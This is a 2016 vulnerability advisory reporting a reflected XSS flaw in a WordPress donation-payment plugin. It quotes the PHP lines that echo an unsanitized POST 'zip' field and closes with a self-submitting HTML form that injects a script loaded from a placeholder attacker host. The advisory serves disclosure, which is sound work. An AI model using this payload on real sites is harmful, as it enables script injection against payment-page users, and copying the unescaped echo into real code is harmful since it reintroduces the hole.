Advisory #: 1192
Title: Reflected XSS in wordpress plugin ncs-e-giving-custom-payment-platform v1.01
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/ncs-e-giving-custom-payment-platform
Downloads: 127
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: ncs-e-giving-custom-payment-platform
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./ncs-e-giving-custom-payment-platform/themefiles/cp-process-payment-page.php: 533: <input type="text" class="validate[required,custom[CustomZip]]" id="CreditCardZip" name="CreditCardZip" placeholder="Zip Code" value="<?php echo $_POST["zip"]; ?>" /> 596: <input type="text" class="validate[required,custom[CustomZip]]" id="CheckZip" name="CheckZip" placeholder="Zip Code" value="<?php echo $_POST["zip"]; ?>" /> The variable zip appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./ncs-e-giving-custom-payment-platform/themefiles/cp-process-payment-page.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3.  <form name=TheForm action=http://[target]/wp-content/plugins/ncs-e-giving-custom-payment-platform/themefiles/cp-process-payment-page.php method=post> <input type=hidden name=zip value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>